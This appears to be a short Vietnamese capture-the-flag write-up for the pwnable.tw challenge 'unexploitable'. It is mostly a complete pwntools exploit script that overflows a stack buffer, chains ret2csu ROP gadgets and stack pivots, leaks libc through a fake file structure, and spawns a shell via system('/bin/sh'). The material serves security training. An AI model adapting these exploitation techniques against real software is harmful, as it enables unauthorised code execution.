pwnable.tw
unexploitable
February 28, 2026
•
Medium
Recon
Mitigation
$ pwn checksec unexploitable
[*] '/home/hungnt/pwnable.tw/unexploitable/unexploitable'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)$ file unexploitable
unexploitable: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=aba2c1fb7a4bca286d75e23006f9fe01dfcb03c2, not strippedCode
int __fastcall main(int argc, const char **argv, const char **envp)
{
char buf[16]; // [rsp+0h] [rbp-10h] BYREF
sleep(0); // patched
return read(0, buf, 0x100uLL);
}Mình đã patch binary để sleep(0) cho tiện debug.
Solve
Bài này mình dùng ý tưởng giống hệt De-ASLR, tận dụng địa chỉ còn sót lại trên stack sau khi gọi sleep(). Ko có gì phải bàn :))
Script
#!/usr/bin/env python3
from pwn import *
sla = lambda p, d, x: p.sendlineafter(d, x)
sa = lambda p, d, x: p.sendafter(d, x)
sl = lambda p, x: p.sendline(x)
s = lambda p, x: p.send(x)
slan = lambda p, d, n: p.sendlineafter(d, str(n).encode())
san = lambda p, d, n: p.sendafter(d, str(n).encode())
sln = lambda p, n: p.sendline(str(n).encode())
sn = lambda p, n: p.send(str(n).encode())
ru = lambda p, x: p.recvuntil(x)
rl = lambda p: p.recvline()
rn = lambda p, n: p.recvn(n)
rr = lambda p, t: p.recvrepeat(timeout=t)
ra = lambda p, t: p.recvall(timeout=t)
ia = lambda p: p.interactive()
lg = lambda t, addr: print(t, '->', hex(addr))
binsh = lambda libc: next(libc.search(b"/bin/sh\0"))
leak_bytes = lambda r, offset=0: u64(r.ljust(8, b"\0")) - offset
leak_hex = lambda r, offset=0: int(r, 16) - offset
leak_dec = lambda r, offset=0: int(r, 10) - offset
A = lambda len=1, c=b'A': c * len
z = lambda len=1, c=b'\0': c * len
e = context.binary = ELF('./unexploitable_patched', checksec=False)
libc = ELF('./libc_64.so.6', checksec=False)
ld = ELF('ld-linux-x86-64.so.2', checksec=False)
context.terminal = ["/mnt/c/Windows/system32/cmd.exe", "/c", "start", "wt.exe", "-w", "0", "split-pane", "-V", "-s", "0.5", "wsl.exe", "-d", "Ubuntu-24.04", "bash", "-c"]
gdbscript = '''
cd ''' + os.getcwd() + '''
set solib-search-path ''' + os.getcwd() + '''
set sysroot /
set follow-fork-mode parent
set detach-on-fork on
b *main+50
continue
'''
def conn():
if args.LOCAL:
p = process([e.path])
sleep(0.25)
if args.GDB:
gdb.attach(p, gdbscript=gdbscript)
sleep(1)
return p
else:
host = "chall.pwnable.tw"
port = 10403
return remote(host, port)
stack_1 = 0x601400
sleep_42_addr = stack_1 - 0x40
fake_file = stack_1 + 0x128
pop_rbx_rbp_r12_r13_r14_r15_ret = 0x4005e6
pop_rbp_ret = 0x0000000000400512
leave_ret = 0x0000000000400576
call = 0x4005d0
def csu_rop(rbx, r12, rdi, rsi, rdx):
return flat(
pop_rbx_rbp_r12_r13_r14_r15_ret,
0,
rbx,
rbx + 1,
r12,
rdi,
rsi,
rdx,
call
) + p64(0) * 7
attempt = 0
while True:
attempt += 1
print("\n----------> Attempt", attempt)
p = conn()
print("Wait 3s for sleep")
sleep(3)
print("1st write")
pl = flat(
A(0x18),
# 2nd write
csu_rop(0, e.got['read'], 0, stack_1, 0x500),
pop_rbp_ret,
stack_1,
leave_ret
)
s(p, pl)
sleep(0.2)
print("2nd write")
pl = flat(
A(0x8),
e.symbols['main'], # sleep() for leftover address
# ROP above, 3rd write
csu_rop(0, e.got['read'], 0, sleep_42_addr - 8*4, 0x500),
# ROP below, 4th write
csu_rop(0, e.got['read'], 0, sleep_42_addr + 8, 0x500),
# Go there
pop_rbp_ret,
sleep_42_addr - 8 * 5,
leave_ret,
z(0x70), 1, 2 # Fake file
)
s(p, pl)
print("Wait 3s for sleep then skip read() in main()")
sleep(3)
s(p, b'A')
sleep(0.2)
print("3rd write")
write_file_rop = csu_rop(0x5ee2b, 0, fake_file, e.got['read'], 8)
s(p, write_file_rop[:8 * 4] + b'\0')
print("4th write")
pl = flat(
write_file_rop[8 * 5:],
# 5th write
csu_rop(0, e.got['read'], 0, stack_1 + 0xa0, 0x200)
)
# 4th write ends at stack_1 + 0xa0
s(p, pl)
print("Wait 2s for libc")
r = p.recvrepeat(timeout=2)
if len(r) < 1:
print("Failed attempt")
p.close()
continue
libc.address = leak_bytes(r, libc.symbols['read'])
lg("libc base", libc.address)
sleep(0.2)
print("5th write")
pl = flat(
libc.address + 0x0000000000021102, # pop rdi; ret
binsh(libc),
libc.symbols['system']
)
sl(p, pl)
print("Spawn shell")
ia(p)
p.close()
break